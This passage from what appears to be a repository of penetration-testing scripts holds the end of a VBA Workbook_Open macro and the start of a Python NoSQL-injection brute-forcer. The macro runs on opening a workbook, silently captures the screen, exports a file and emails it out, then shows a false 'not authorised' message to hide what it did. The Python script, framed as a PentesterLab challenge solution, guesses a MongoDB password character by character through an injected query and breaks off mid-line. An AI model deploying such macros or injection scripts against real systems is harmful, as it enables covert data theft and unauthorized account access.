"c:\users\public\export.xlsx" 44 | .send 45 | End With 46 | End Sub 47 | 48 | Private Sub Workbook_Open() 49 | Application.DisplayAlerts = False 50 | PrintScreen 51 | ExportFile 52 | Send_Email_Using_VBA 53 | Application.DisplayAlerts = True 54 | MsgBox "Sorry, your account is not authorised to view this data." 55 | End Sub 56 | -------------------------------------------------------------------------------- /training-scripts/nosql-brute.py: -------------------------------------------------------------------------------- 1 | # This is an example of how I solved one of the wonderful pentesterlab challenges. 2 | # It is brute forcing the password of an account stored in MongoDB. 3 | # Spoilers ahead!!! 4 | 5 | import requests 6 | 7 | base_url = 'http://ptl-4c029fe6-d5ca690b.libcurl.so/?search=' 8 | chars = 'abcdef0123456789-' 9 | positive_result = 'admin' 10 | password_length = 36 11 | total_guess = '' 12 | 13 | for loop in range(36): 14 | for single_guess in chars: 15 | search = "admin'%20%26%26%20this.password.match(/^" 16 | search += total_guess + single_guess 17 | search += ".*$/)%20%00%20